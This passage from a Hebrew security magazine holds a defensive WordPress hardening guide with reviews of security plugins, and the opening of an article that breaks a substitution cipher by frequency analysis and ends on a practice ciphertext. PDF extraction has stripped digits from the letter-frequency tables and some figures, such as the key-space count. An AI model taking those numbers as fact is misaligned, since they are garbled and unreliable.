36 האם הם משתמשים בשרתים שלהם בשפת קוד PHP )השפת קוד של )WordPress הכי חדשה בשוק, כי אם לא הפרצות יכולות להגיע גם דרך השרת אחסון. הגנה על ממשק הניהול - למרות שזה נשמע טריוויאלי, מדובר בצעד סופר חשוב שיש להקפיד לעשות. ברגע שה- WordPress הותקן על הדומיין, בונה האתר מתבקש לבחור שם וסיסמא. כמו בפייסבוק שלכם או בג'ימייל, חשוב מאוד שהסיסמא לא תהיה פשוטה, כמו לדוגמה הספרות 1-8. אלא סיסמא מסובכת שתערב תווים מיוחדים, אותיות גדולות ומספרים )אמנם זה לא חובה אבל זה בהחלט מומלץ( כמובן, שגם את שם המשתמש שלכם לא כדאי להשאיר כ- Admin, שזה מה שתקבלו כברירת מחדל, אלא לשנות לשם קצת יותר מורכב. את הפעולה הזאת מבצעים פעם אחת כשמקימים את האתר, וכמובן שניתן לשנות סיסמא בכל רגע נתון, לא מעט פעמים נתקלתי באתרי לקוחות שהשם משתמש הוא Admin והסיסמא היא אז חשוב לדאוג לזה כי אלו הסיסמאות הכי קלות לפרצה על ידי האקרים. החוק החשוב ביותר בעת בחירת סיסמה הוא: "סיסמה שקל לזכור אך קשה לנחש". עדכוני גירסה שוטפים -,WordPress כאמור, היא פלטפורמה שכל הזמן מתעדכנת, כל הזמן מנסים לשפר אותה ולייעל אותה, ולכן היא זוכה לעדכוני גירסה על בסיס קבוע. אחת לכמה זמן, יוצא לאוויר העולם עדכון גירסה, שבין היתר מתייחס לפריצות אפשריות וכמובן שהוא נועד גם לחסום אותם. את עדכון הגירסה אפשר תמיד לבצע דרך האתר של.WordPress אפשר להגדיר במערכת הניהול שלכם, שההגדרות יבוצעו אצלכם בצורה אוטומטית וכל פעם שיהיה עדכון, המערכת שלכם תעודכן. חברת אחסון אחראית שולחת התראה ללקוחות שמאחסנים אצלה אתר על כך שקיים עדכון וניתן לבצע אותו, לכן בעל אתר לא יוכל להגיד "לא ידעתי", וכאשר יש עדכון, חשוב מאוד לבצע אותו. אותה הפעולה חלה גם על תוספים. הפלאגינים המותקנים על האתר, גם הם זוכים לטיפול מקיף ובתדירות די גבוהה ניתן למצוא להם עדכונים. חשוב להקפיד לעדכן אותם. זכרו, כל גירסת WordPress או תוספים לא מעודכנת, עלולה להיות הדלת שדרכה האקרים יפרצו לאתר שלכם. הקפידו לעדכן! - FTP אם אתם מעלים את התבנית, קבצים ושאר התיקיות של האתר שלכם דרך,FTP תנסו לעבוד דרך ממשק ה- SFTP. שימוש בו זהה לחלוטין ל- FTP. ההבדל היחיד הוא שב- SFTP, כל הסיסמאות ותווך התקשורת שלכם מוצפן ואינו עובר לשום מקום לא צפוי. ככה שגם אם במהלך תהליך העברת הקבצים מ- FTP לשרת מחכה לכם פורץ, הוא לא נחשף לסיסמאות שלכם. שמירה על ה- Database - במידה ואתם מאחסנים מספר אתרים על אותו השרת מומלץ להקפיד להקים עבור כל אחד משתמש בנפרד. אבטחת קובץ - WP-CONFIG.PHP ניתן להעביר את הקובץ לתיקיה שנמצאת מעל ההתקנה של ה-.WordPress כלומר האתר יושב בתיקיית ה- root, אך הקובץ של WP-CONFIG.PHP נמצא בתיקיה אחרת כך שלא יהיה ניתן לגשת לקובץ הנ"ל ללא גישה למערכת הקבצים של השרת. טיפים לשיפור אבטחתWordPress 36

37 ניטרול עריכת קובצים - לפי הגדרות ברירת המחדל של,WordPress כל אחד יכול לערוך את קבצי ה- PHP לפי הצורך. שינויים כאלו ואחרים אמנם יכולים לסייע לכם בהטמעת קוד, אך לרוב הם גם יהיו המקום הראשון שאליו תוקפים ינסו להגיע בשביל לחרב לכם את הקוד ולשתול שם את הדברים שלהם, אם פרצו לאתר שלכם ודרך הממשק ניהול יש אפשרות לערוך קבצים הפורץ יכול בקלות לשנות ולמחוק את כל האתר בלי בעיה. לכן הקפידו לחסום עריכת קבצים דרך הממשק ניהול. גיבויים על בסיס שוטף - וודאו כי חברת האחסון עליה יושב האתר שלכם מגבה את התכנים והגירסאות האחרונות של האתר. אם יש משהו יותר נורא מפריצה לאתר, זה היום שאחרי, שהפריצה נסתמת וההאקר נעלם ואין לכם גיבוי. במצב כזה תצטרכו להתחיל לבנות את כל האתר ולהזין את כל התכנים מאפס. מן הסתם, אף אחד לא מעוניין בעבודה שכזו, לכן חשוב לוודא כי יש לכם קבצי גיבוי שמתעדכנים כל הזמן, לכל צרה שלא תבוא. תוספים )פלאגינים( לWordPress כאמור, מעבר לשיטות האבטחה שניתן לעשות "בידיים", קיימים תוספי אבטחה ייעודיים ל- WordPress. עדיין לא נוצר התוסף האחר שמצליח לכסות על הכל ויכול להעניק הגנה של 1%, אך אפשר להשתמש בשילוב של תוספים על מנת לאבטח את האתר בצורה המקסימלית. חשוב לדעת כי תוספים מצויינים מסויימים, יכולים להגן על רבדים שונים באתר, אבל לא על הכל בבת אחת. עובדה חשובה נוספת לגבי תוספים - אם ניסיתם תוסף למען מטרה מסויימת והחלטתם לא להשתמש בו, תמחקו אותו. אל תשאירו אותו במצב לא פעיל, אלא פשוט תמחקו אותו מהמערכת שלכם. תוסף לא פעיל שיושב אצלכם על האתר, הוא לא תוסף שאתם מעניקים לו תשומת לב. הזמן יעבור, לא תעדכנו אותו והוא יוכל להפוך לפתח עבור פורצים. אם אתם לא זקוקים לתוסף, הסירו אותו מהאתר ומהשרת שלכם. תישארו רק עם התוספים החיוניים לכם, והקפידו לוודא כי הם מתעדכנים על בסיס קבוע. תוסף פופולארי במיוחד, עם מספר פונקציות חשובות - All in One WP Security & Firewall plugin במיוחד. 37 טיפים לשיפור אבטחתWordPress

38 אבטחת חשבונות משתמשים: התוסף מזהה חשבונות משתמשים בשם "Admin" ומתריע לך לשנות אותם, בנוסף הוא מזהה אם השם משתמש והסיסמא זהים )אני לא צריך לפרט כמה שזה אידיוטי, אך יש לא מעט אתרים עם כאלו פרטי גישה( הפלאגין כולל כלי שיוצר לך סיסמא חזקה ביותר הרבה מאשר הסיסמאות ש- WordPress מיצר. אבטחת כניסת משתמשים למערכת ניהול: על מנת למנוע התקפה באמצעות כניסות מרובות, התוסף חוסם את ה- IP מחוץ למערכת ומתריע לך על זה במייל, התוסף גם מאפשר לך לחסום או לבטל חסימה לכתובות IP מרובות בלחיצת כפתור. מנתק משתמשים לאחר שהייה רבה מדי במערכת ללא כל פעולה )על מנת לבלום תקיפות( הפלאגין כולל אפשרות לראות את רשימת משתמשים אשר מחוברים בזמן אמת לאתר שלך. הפלאגין כולל אפשרות להוסיף קאפצ'ה בכניסה למערכת ניהול "ולשכחתי סיסמא" על מנת למנוע מסקריפטים אוטומטיים לבצע Brute Force לממשקי הניהול. אבטחת מסד נתונים: בלחיצת כפתור תוכל ליצור גיבוי למסד נתונים בכל זמן שתרצה. אבטחת מערך הקבצים: מזהה איזה קבצים או תיקיות ישנם הגדרות הרשאה לא מאובטחות ומתריע לך עליהם על מנת שתסגור את אפשרות הזו. מונע שינוי או ערכית קבצי PHP מאזור מערכת ניהול.WordPress גיבוי ושחזור htaccess ו- wp-config : אולי החלק הכי חשוב בתוסף, קובץ htaccess מאשרלשלוט בכמעט כל אספקט ברמת השרת, הרבה גורמים זדוניים מנסים לגשת לקובץ htaccess ולערוך אותו, לכן חשוב במיוחד לגבות ולדאוג לשים את הקובץ במקום מוגן. הגיבוי ישמש אתכם למקרה שתרצו לשחזר פונקציות חשובות באתר. אפשרות לרשימה שחורה: בליחצת כפתור תוכלו ליצור רשימת IP שאותם תרצו לחסום מהאתר לגמרה. סריקת אבטחה למסד נתונים ולקבציי האתר: סריקה אשר מזהה אם חל שינוי בקבצי נתונים באתר, מראה לך בצורה פשוטה איזה שינויים בוצעו כך שתוכל לדעת אם הם תקינים ואם הכניסו קוד שלא היה אמור להיות קיים שם בכלל. 38 טיפים לשיפור אבטחתWordPress

39 סריקה מעמיקה יותר של מסד הנתונים יאפשר לכם לראות אם בוצע שינוי.WordPress בליבת המערכת HTML בקבצי JavaScript ו- תוסף אבטחה רציני מאוד עם עוד המון פונקציות שתוכלו לקרוא עליהם בעמוד התוסף. - ithemes security גם הוא תוסף פופולארי, שמתאים גם למשתמשים חדשים וגם למשתמשים מנוסים. לחיצה אחת תתקין את התוסף לפי הגדרות ברירת המחדל של המערכת )שאמורות לעשות את העבודה(, ולמשתמשים בעלי ניסיון רב יותר יש אפשרות להגדיר ולשנות דברים לפי הצורך שלהם. חלק מהתכונות המעולות של התוסף הזה: הפיצ'ר הכי משתלם - הגנה נגד מתקפות Brute Force עתידיות: התוסף מזהה ניסיונות פריצה לאתרים אחרים )אשר מותקן בהם התוסף( ואוטומטית חוסם את כתובת ה- IP גם באתר שלך. פיצ'רי הגנה נוספים: סיסמה חזקה, ובנוסף גם מתריע כל פרק זמן להחליף סיסמא. טיפים לשיפור אבטחתWordPress 39 התוסף מזהה וחוסם רובוטים אשר מנסים להיכנס למכרת ניהול. התוסף מכריח את המשתמשים לשנות את הסיסמא למערכת ניהול לסיסמה שתעמוד במדיניות של

40 התוסף מכבה את אפשרות עריכת הקבצים דרך הממשק משתמש )קבצי PHP ו- CSS שונים(, כך שאם בכל זאת מתבצעת פרצה כל קבצי האתר מוגנים. התוסף מזהה וחוסם התקפות של רובוטים על המסד נתונים של האתר. פיצ'רי זיהוי והתרעה: התוסף מזהה אם בוצעו שינויים בקוד של האתר ומודיע לך עליהם, כך שאף אחד לא יוכל לבצע שינויים מפגעים מבלי שתקבל התרעה על כך. מזהה שינויים קריטיים שבוצעו בקוד וחוסם את האפשרות הזאת. התוסף מריץ סריקות, מזהה ומתריע אם באתר שלך זוהה תוכנה זדונית. התוסף שולח מייל לבעלים של האתר על כל ניסיון כניסה דרך המערכת ניהול שנכשל. תוספות נוספות: ישנה אפשרות באמצעות התוסף לשנות את ה- URL הקבוע של הכניסה למערכת ניהול.)wp_admin( מבצע ניתוק אוטומטית מהמערכת ניהול כאשר המשתמש נשאר מחובר אך לא ביצע שום פעולה זמן רב. מזהה דפי 44 באתר ומתריע לך על התיקון שלהם לצורכי.SEO - Wordfence Security תוסף שהותקן למעלה ממיליון פעם, הוא מספק הגנה מפני תולעים וסוסים טרויאנים. התוסף הוא חינמי לגמרה וגם מגיע בקוד פתוח. אך ישנה אפשרות לגירסה בתשלום שמעניקה לך תמיכה מתמדת, חסימה לפי ארצות, בדיקת IP של האתר אם הוא הוספם ועוד... אך בגדול הגירסה החינמית הינה מספיקה ומציעה מגוון רחב של פיצ'רים: :Firewall התוסף מזהה וחוסם ניסיונות פריצה ממקורות זדוניים ידועים וחוסם את המקורות האלו עוד לפני שניסו לפרוץ לאתר שלך. התוסף חוסם איומים שונים כגון: חיקויים של הבוטים של גוגל ורשתות האקרים ידועות. 4 טיפים לשיפור אבטחתWordPress

41 חסימות באמצעות התוסף: כמו התוספים הקודמים, גם כאן ישנה אפשרות לחסום IP לפי בחירתנו. התוסף מזהה ניסיונות תקיפה שבוצעו באתרים אחרים ברשת עם אותו תוסף וחוסם אצלך באתר את כתובת ה- IP של התוקף. משתמשים בגירסה בתשלום יכולים לחסום כתובת IP אשר מגיעות ממדינות שונות שהם רוצים לחסום. אבטחת כניסה למערכת: התוסף מאפשר לך ביצוע דו שלבי של כניסה למערכת ניהול, תהליך ראשוני יהיה באמצעות סיסמא והתהליך השני באמצעות שליחת הודעה לסלולר שלך. התוסף כמו הקודמים לו מכריח אותך לייצר סיסמא קשה. סריקות אבטחה: התוסף סורק אחר בעיית HeartBleed )זהו באג אבטחה ידוע באתרים שאינם משתמשים בבפרוטוקול.)TLS/SSL התוסף בודק קבצים באתר שבוצע בהם שינוי, ומתריע אם בוצע שינוי שיכול לפגוע באבטחת האתר. כמו כן התוסף מבצע סריקות מרובות על איומים של תולעים ותוכנות זדוניות הקיימות באינטרנט, כמו כך התוסף בודק פרצות אבטחה ידועות "מאחורי הקלעים". ניטור של התוסף התוסף מנטר תנוע בזמן אמת הכוללת, בוטים שונים, גולשים אמיתיים, כניסות לאתר, יציאות מהאתר ומי גלש הכי הרבה זמן באתר. התוסף מפקח על ההפניות DNS לשרת שלך, מבצע ניטור אם בוצע שינויים לא מורשים. ועוד מספר רב של פונקציות שתוכלו לקרוא עליהם בעמוד של התוסף. 41 טיפים לשיפור אבטחתWordPress

42 - Wp-antivirus site protection תוסף אנטי וירוס שגם הוא מספק סריקת מערכת מקיפה לכל התיקיות והקבצים באתר. תוסף זה בניגוד לאחרים מתמחה בעיקר בעניין הסריקה המעמיקה שלו בתוך כל קבצי האתר, ניתור אחר קבצים מיותרים ודיווח בצורה נוחה וידידותית על המלצות לשינוי בקבצים ברמת קוד על מנת לדאוג להפחית פרצות. פיצ'רים מרכזיים: יוצרי התוסף טוענים שיש המון סוגים של פורצים לאתרים WordPress אבל הכי ידועים הם אלו שפורצים דרך "הזרקת" MySQL ו- JavaScript, התוסף מזהה בעיות בקוד ומתריע על פרצות שונות בקבצים אלו. התוסף מונע שינויים בעיצוב והתכנות האתר במקרה שבוצע פרצה לאתר. התוסף מזהה iframes חבויים iframes( - קוד HTML אשר מוטמע בתוך קוד HTML אחר(, יוצרי התוסף טוענים שאם במקרה הפורץ הצליח לפרוץ את פרטי ה- FTP הפורצים בדרך כלל מכניסים Hidden iframes עם וירוס אשר מוטמע לגולשים שלך כאשר הם נכנסים לאתר. התוסף מזהה אם בוצע פרצה באתר אשר שולחת דרך השרת שלך ספאם, התוסף מנטר ומודיע לך היכן הקובץ PHP אשר שולח ספאם נמצא באתר שלך. 42 טיפים לשיפור אבטחתWordPress

43 יוצרי התוסף אומרים שהאקרים הרבה פעמים שמים באתר "עמוד פישינג" אשר משמש למגוון פעולות כגון: הפניות לא רצויות,,htaccess סוסים טרויאנים, אפשרות גישה למערכת ניהול ועוד הרבה... התוסף מזהה את עמודי פישינג ומתריע לנו עליהם. - Vaultpress תוסף שנבנה על ידי המפתחים של.WordPress מדובר בתוסף פרימיום, בשיטת מנוי ותשלום חודשי. התוסף מאפשר לכם גיבוי על בסיס יומי. הוא גם מנסה לאתר קבצים אשר נדבקו באיומים, ובמידה ונמצאו כאלה, הוא מוחק את אותם הקבצים. קיימים עוד תוספים רבים בשוק שחלקם מנסים לעשות הכל וחלקם יותר ממוקדים לבעיות אבטחה ספציפיות. ניתן למצוא מספר רב של תוספים גם בחינם וגם בתשלום. כמובן שחלק גדול מהתוספים בחינם, מאפשרים שימוש עד רמה מסויימת ואם תרצו להעמיק את השימוש בתוסף ולבצע באמצעותו שינוי הגדרות מתקדם יותר, הדבר יהיה כרוך בתשלום נוסף למפתחי התוסף. יש לבחור ולבחון היטב מה הצורך שלכם, לפי סוג האתר ועל סמך הנתונים שיש ברשותכם, לבחור את התוספים העדיפים עליכם. וכן, גם במקרה של תוספים, כדאי מאוד להשקיע כמה שקלים עבור תוסף איכותי שמתעדכן באופן שוטף ויוכל להעניק לכם שקט. 43 טיפים לשיפור אבטחתWordPress

44 לסיכום אתם יכולים לבלות שעות מול המסך, לבנות עבורכם או עבור לקוח את האתר האידיאלי, זה שדמיינתם אותו, ואז ברגע של חוסר תשומת לב של אי עדכון לגירסת WordPress האחרונה, או שימוש בתוסף שעבר זמנו וכבר לא מתעדכן, אתם עלולים למצוא את עצמכם מתמודדים מול האקר שמחרב לכם את כל מה שבניתם. הקפידו תמיד לפעול על פי נהלי האבטחה המומלצים. עדכנו גירסאות, תמחקו תוספים שאתם לא צריכים, וודאו כי חברת האחסון שומרת עליכם ומאפשרת לכם לגבות את האתר על בסיס קבוע, וחשוב יותר מכל תהיו עירניים. שנו את הכתובת דרכה נכנסים לממשק הניהול, שנו סיסמאות והחביאו את הקבצים שאתם יכולים. בסופו של יום, WordPress ושלל התוספים ידעו להעניק לכם את ההגנה המירבית ביותר, אבל אתם אלה שחייבים להגדיר כל דבר ולגרום לזה לקרות. ובנינו אם אתם רוצים לדאוג לאבטחת האתר WordPress שלכם בצורה הטובה ביותר, תדאגו לבחור חברת אחסון אתרים אשר יש לה:,Firewall מערכת סריקת קבצים באתר וניתור אחר פרצות, אפשרות לכבות את עריכת הקבצים דרך הממשק ניהול של ה- WordPress ובעיקר שיתנו לכם מענה גיבוי לכל האתר. המאמר נכתב על ידי שחר מחברת - PRM יחסי ציבור, שיווק תוכן וקידום אתרים, תודה רבה על תרומת ידע רב למטרת כתיבת המאמר לדייב מחברת UPRESS אחסון אתרים. 44 טיפים לשיפור אבטחתWordPress

45 קריפטוגרפיה - חלק א' מאת אופיר בק הקדמה ענף הכתיבה הסודית הוא גדול מאוד ובעל שורשים קדומים מאוד. אנחנו נעסוק בהצפנה באנגלית, לשם הנוחיות, אך מרבית העקרונות הם זהים לגמרי. בשביל רושם ראשוני, בחרתי לתאר את הענפים המרכזיים של הענף. הסתרה - ניסיון להחביא את המסר עצמו, כך שלא ניתן יהיה לגלות אותו. במציאות המודרנית שלנו זה לא כל כך אפשרי, כי כשאתה מנסה להעביר מסר באינטרנט אתה עדיין חייב להשתמש בהעברה של פקטות, והן לא יהיו נסתרות. ערבול - שינוי הטקסט שמופיע, מתוך כוונה שהוא לא יהיה ברור לאף אחד. שיכול - שינוי סדר האותיות. דוגמה בסיסית לשיטה תהיה להפוך את סדר האותיות. השיטה של היפוך הסדר לא תהיה יעילה במיוחד, כמו בדוגמה הבאה:?siht daer uoy nac 45 קריפטוגרפיה - חלק א'

46 החלפה - החלפת האותיות באותיות אחרות. דוגמה בסיסית תהיה שימוש בצופן הקיסר, בו אנחנו קובעים מספר מסוים שישמש למספר ההיסט שלנו. לדוגמה, אם נבחר את המספר 1, האות a תהפוך לאות b, האות b ל- c וכן הלאה, כך שהאות z תהפוך ל- a, המסר this?' 'can you see יהפוך ל-'? uijt.'dbo zpv tff צופן סימטרי - צופן שאפשר להפוך את תהליך ההצפנה ולחשוף את המסר בקלות, לדוג' הכפלה ב- 2 היא תהליך שניתן להפוך בקלות, ע"י חילוק באותו המספר. צופן א-סימטרי - לא ניתן להפוך את תהליך ההצפנה לאחור בקלות. לשם כך נהוג להשתמש בפונקציות חד כיווניות, שאין להם פענוח מוגדר בעזרת חישוב הפוך. בחלק הזה אנחנו נעסוק בעיקר בהצפנות ישנות, ובבסיס של הפיצוח שלהן. ההצפנות האלו לא יעילות במיוחד כיום, אבל התחרות בין מפצחי הצפנים לבין מפתחי הצפנים היא הבסיס לכל תהליך ההתקדמות האנושית בנושא הקריפטוגרפיה. שימו לב! פעמים רבות, מסירים את הרווחים מהטקסט המוצפן, כדי להקשות על חשיפתו, אך לשם ההבנה והנוחות, לא נעשה זאת. צופן הקיסר את הרעיון שמאחורי הצופן הזה כבר הזכרנו, אבל הפעם נרחיב קצת עליו. הצופן היה בשימוש על ידי יוליוס קיסר, וזהו מקור השם שלו. בצופן אנחנו בוחרים אות להיסט או מילה )או מספר מילים( בה נשתמש להתחלה ואחריה נמשיך בעזרת האותיות שאחרי האות האחרונה. הצופן הוא מונואלפביתי, מה שאומר שמשתמשים בסט אחד של אותיות חלופיות ביחס לאותיות המקוריות )לכל אות במסר המוצפן יש משמעות אחת בלבד - אות ספציפית במסר המקורי(. הקושי לפצח את הצופן גדל כשמשתמשים באוסף אקראי של אותיות בתור מפתח, מה שגורם לכך שיש כ- 4,,,,,,,, אופציות שונות, ומקשה אפילו על המחשב המודרני לחשוף את המסר המקורי. השיטה הראשונה לפענוח של הצופן הזה הגיעה אלפי שנים לאחר מכן, בתקופת הפריחה הערבית בתחומי המדעים. הערבים ספרו את האותיות בכמו עצומה של ספרים, והגיעו למסקנה מהו האחוז הסטטיסטי של השימוש בכל אחת מהאותיות. 46 קריפטוגרפיה - חלק א'

47 תדירות )%( מצורפת לכאן טבלת התדירות של השפה האנגלית: אות תדירות )%( אות N A 7.57 O B P C.95 Q D R E S F 9.56 T 2.15 G U 6.94 H.978 V I W.153 J.15 X.772 K Y 4.25 L.74 Z 2.46 M עם זאת, עדיין ישנו חסרון בשיטה הזאת, מכיוון שבמסרים קצרים התדירות לעיתים קרובות לא תהיה נכונה. כמובן שמלבד האות e, שנמצאת הרחק מהשאר, אי אפשר באמת לדרג ככה, מכיוון שעבור חלק מהאותיות ההפרשים קטנים מאוד. לכן, ההמשך של השיטה לפיצוח הצופן שונה, אך מתבססת גם היא על התדירות. אנו יודעים שלאחר האות e האות שמופיעה הכי הרבה פעמים היא האות i, ולכן, אם נאתר אות שחוזרת על עצמה הרבה מאוד פעמים לאחר האות שאנו חושדים שהיא e, אנו יכולים לחשוד שהיא.i בנוסף, אין הרבה מילים בנות אות אחת, ולכן אם אחת מהן תופיע הרבה, ניתן לחשוד שהיא i. גם במילים בנות 3 אותיות יש סטטיסטיקה ברורה, כאשר המילים הנפוצות הן the ו-,and ואנחנו יכולים לאתר אותן, לאחר שכבר זיהינו את האות e, ועל ידי כך לאתר בבת אחת חמש אותיות נוספות. מכאן הלאה, ניתן להוסיף עוד אותיות על ידי זיהוי מילים, ובעזרת ההיגיון לחשוף בקלות מסר שלם. לשם התרגול, אני אפתור פה מסר קצר, ואצרף מסר נוסף אותו אתם תוכלו לפתור. 47 קריפטוגרפיה - חלק א'

48 בשביל הנוחות, נהוג לסמן את האותיות המוצפנות באותיות גדולות, ואת שפענחנו באותיות קטנות: PCQ VMJYPD LBYK LYSO KBXBJXWXV BXV ZCJPO EYPD KBXBJYUXJ LBJOO KCPK. CP LBO LBCMKXPV XPV IYJKL PYDBL, QBOP KBO BXV OPVOV LBO LXRO CI SX'WJMI, KBO JCKO XPV EYKKOV LBO DJCMPV ZOICJO BYS, KXUYPD: 'DJOXL EYPD, ICJ X LBCMKXPV XPV CPO PYDBLK Y BXNO ZOOP JOACMPLYPD LC UCM LBO IXZROK CI FXKL XDOK XPV LBO RODOPVK CI XPATOPL EYPDK. SXU Y SXEO KC ZCRV XK LC AJXNO X IXNCMJ CI UCMJ SXGOKLU?' OFYRCDMO, LXROK IJCS LBO LBCMKXPV XPV CCO PYDBLK היות והסברנו כבר שבדיקת כל המפתחות האפשריים אינה אפשרית, אנו נעשה שימוש בניתוח תדירויות. בדיקה קצרה של הטקסט המוצפן שלנו מביאה לנו את הטבלה הבאה: האות מקרים אחוזים האות מקרים אחוזים.9 3 N.9 3 A O B P C.6 2 Q D R E S.6 2 F. T.3 1 G U. H V I.3 1 W J X K Y L Z M 48 קריפטוגרפיה - חלק א'

49 האותיות שמופיעות הכי הרבה הן,X O, ו- P, אך בגלל הקרבה שלהן, והסיכוי לסטייה בכמות קטנה של תווים, אנו נבדוק את סמיכות האותיות שלהן: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z O X P ניתן לשים לב בקלות לכך שהאות O נמצאת בשכנות לכל אות מלבד 7, ו- X שכנה לכל אות מלבד 8. מכאן ניתן להסיק שהן כנראה תנועות. האות P לעומת זאת, מופיעה בסמיכות לאותיות ספורות בלבד, ולא מופיעה בשכנות ל- 15 אותיות. דבר זה מצביע על כך שהיא עיצור. אז האותיות X ו- O מייצגות ככל הנראה את האותיות a ו- e, שהן התנועות הנפוצות ביותר באנגלית, אך השאלה היא איזו אחת מהן היא e ואיזו אחת היא a. הרמז שיכול לעזור לנו הוא שהצירוף OO מופיע פעמיים, בזמן שהצירוף XX לא מופיע כלל. היות והצירוף ee נפוץ יותר מאשר,aa ניתן להניח ש- O=e ו- X=a. בנוסף לכך, הטענה שלנו נתמכת על ידי שהאות X נמצאת כמילה בפני עצמה בטקסט, והאות a מייצגת את אחת משתי המילים היחידות באנגלית שמיוצגות על ידי אות אחת בלבד. האות היחידה הנוספת שמופיעה לבד בטקסט היא האות Y, ולכן סביר מאוד שהיא מייצגת את האות i, שהיא האופציה השנייה למילה שמיוצגת על ידי אות אחת בלבד. עכשיו אנו יודעים כבר ש: X=a, O=e ו-.Y=i השלב הבא הוא שימוש רחב יותר באות e. האות e נמצאת לעיתים קרובות אחרי האות h, אך לעיתים רחוקות לפניה. לכן נספור את מספר הפעמים שהאות O מופיעה לפני אותיות אחרות ואחריהן: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 אחרי O לפני O 49 קריפטוגרפיה - חלק א'

50 ניתן לשים לב ליחס הא-סימטרי שיש לאות B עם האות O, ומכאן להסיק ש-.B=h עכשיו ניתן כבר להתחיל להשלים מילים וכך לחשוף אותיות נוספות. הטקסט שלנו הוא עכשיו: PCQ VMJiPD LhiK LiSe KhahJaWaV hav ZCJPe EiPD KhahJiUaJ LhJee KCPK. CP Lhe LhCMKaPV apv IiJKL PiDhL, QheP Khe hav epvev Lhe LaRe CI Sa'aJMI, Khe JCKe apv EiKKeV Lhe DJCMPV ZeICJe his, KaUiPD: 'DJeaL EiPD, ICJ a LhCMKaPV apv CPe PoDhLK i hane ZeeP JeACMPLiPD LC UCM Lhe IaZReK CI FaKL adek apv Lhe ReDePVK CI apaiepl EiPDK. SaU i SaEe KC ZCRV ak LC AJaNe a IaNCMJ C UCMJ SaGeKLU? efircdme, LaReK IJCS Lhe LhCMKaPV apv CPe PiDhLK עכשיו ניתן להשלים מילים. המילים בנות שלוש אותיות הנפוצות ביותר באנגלית הן the ו-.and מכאן ניתן להניח ש- L=t, P=n ו-,V=d כך שהטקסט החדש הוא: ncq dmjind thik tise KhahJaWad had ZCJne EinD KhahJiUaJ thjee KCnK. Cn the thcmkand and IiJKt nidht, Qhen Khe had ended the are CI Sa'aJMI, Khe JCKe and EiKKed the DJCMnd ZeICJe his, KaUinD: 'DJeat EinD, ICJ a thcmkand and Cne nodhtk I hane Zeen JeACMntinD tc UCM the IaZReK CI FaKt adek and the ReDendK CI anaient EinDK. SaU I SaEe KC ZCRV ak tc AjaNe a IaNCMJ CI UCMJ SaGeKtU? efircdme, tarek IJCS the thcmkand and Cne nidhtk המילה הראשונה במשפט השני היא,Cn והיות ובכל מילה יש תנועה, C היא גם תנועה. התנועות שנותרו לנו הן u ו- u o. אינה מתאימה ולכן המילה שלנו היא,on והאות.C=o ישנה גם המילה,Khe שיכולה להיות the או.she היות ו- L=t,.K=s לאחר ההצבה הזאת יש לנו את הביטוי.thoMsand and one nidhts ניחוש הגיוני הוא שמדובר ב- nights,thousand and one ונראה כי השורה האחרונה מספרת לנו כי הקטע לקוח מ- nights,tales from the thousand and one ומכך אנו יכולים להסיק ש- R=l M=u, I=f, J=r, D=j, ו- S=m.אנו יכולים להמשיך ולחשוף מילים, ולשם כך נרשום פעם נוספת את הטקסט שברשותנו: noq during this time shahrawad hag Zorne Eing shahriuar three sons. on the thousand and first night, Qhen she had ended the tale of ma'aruf, she rose and Eissed the ground Zefore him, sauing: 'great Eing, for a thousand and one noghts i hane Zeen reaounting to Uou the fazles of Fast ages and the legends of anaient Eings. mau i maee so ZolV as to AjaNe a fanour of Uour magestu? tefilogue, tales from the thousand and one nights 5 קריפטוגרפיה - חלק א'

51 לאחר כמה הבנות נוספות, אנו מקבלים את הצופן השלם: a b c d e f G h i j k l m n o p q r s t u v w x y רגיל z X Z A V O I D B Y G E R S P C F H J K L M N Q T U מוצפן W והטקסט השלם הוא: Now during this time Shahrazad had borne king Shahryar three sons. On the thousand and first night, when she had ended the tale of Ma'aruf, she rose and kissed the ground before him, saying: "great king, for a thousand and one nights I have been recounting to you the fables of past ages and the legends of ancient kings. May I make so bold as to crave a favour of you majesty?" Epilogue, tales from the thousand and one nights שימו לב, שגם את המפתח עצמות היה ניתן לגלות לקראת הסוף, ולחסוך כמה גילויים של אותיות. המפתח שנמצא כאן הוא AVOIDBYGERSPC ככל הנראה. צריך לשים לב שיש כנראה הורדה של אותיות שחוזרות על עצמן. ניחוש לא סביר, אך במקרה הזה בהחלט נכון הוא A. Void by Georges Perec הטקסט שאתם תפצחו )אם תבחרו לנסות( הוא ארוך יותר. אני משתמש באנגלית בריטית בצפנים שלי, אז שימו לב שלעיתים האיות הוא שונה במעט )כמו favour ולא favor בטקסט הקודם(: BT JPX RMLX PCUV AMLX ICVJP IBTWXVR CI M LMT'R PMTN, MTN YVCJX CDXV MWMBTRJ JPX AMTNGXRJBAH UQCT JPX QGMRJXV CI JPX YMGG CI JPX HBTW'R QMGMAX; MTN JPX HBTW RMY JPX QMVJ CI JPX PMTN JPMJ YVCJX. JPXT JPX HETW'R ACUTJXTMTAX YMR APMTWXN, MTN PBR JPCUWPJR JVCUFGXN PBL, RC JPMJ JPX SCBTJR CI PBR GCBTR YXVX GCCRXN, MTN PBR HTXXR RLCJX CTX MWMBTRJ MTCJPXV. JPX HBTW AVBXN MGCUN JC FVBTW BT JPX MRJVCGCWXVR, JPX APMGNXMTR, MTN JPX RCCJPRMEXVR. MTN JPX HBTW RQMHX, MTN RMBN JC JPX YBRX LXT CI FMFEGCT, YPCR CXDXV RPMGG VXMN JPBR YVBJBTW, MTN RPCY LX JPX BTJXVQVXJMJBCT JPXVXCI, RPMGG FX AGCJPXN YBJP RAMVGXJ, MTN PMDX M APMBT CI WCGN MFCUJ PBR TXAH, MTN RPMGG FX JPX JPBVN VUGXV BT JPX HBTWNCL. JPXT AMLX BT MGG JPX HBTW'R YBRX LXT; FUJ JPXE ACUGN TCJ VXMN JPX YVBJBTW, TCV LMHX HTCYT JC JPX HBTW JPX BTJXVQVXJMJBCT JPXVXCI. JPXT YMR HBTW FXGRPMOOMV WVXMJGE JVCUFGXN, MTN PBR ACUTJXTMTAX YMR APMTWXN BT PBL, MTN PBR GCVNR YXVX MRJCTBRPXN. TCY JPX KUXXT, FE VXMRCT CI JPX YCVNR CI JPX HBTW MTN PBR GCVNR, AMLX BTJC JPX FMTKUXJ PCURX; MTN JPX KUXXT RQMHX MTN RMBN, C HBTW, GBDX ICVXDXV; GXJ TCJ JPE JPCUWPJR JVCUFGX JPXX, TCV GXJ JPE ACUTJXTMTAX FX APMTWXN; JPXVX BR M LMT BT JPE HBTWNCL, BT YPCL BR JPX RQBVBJ 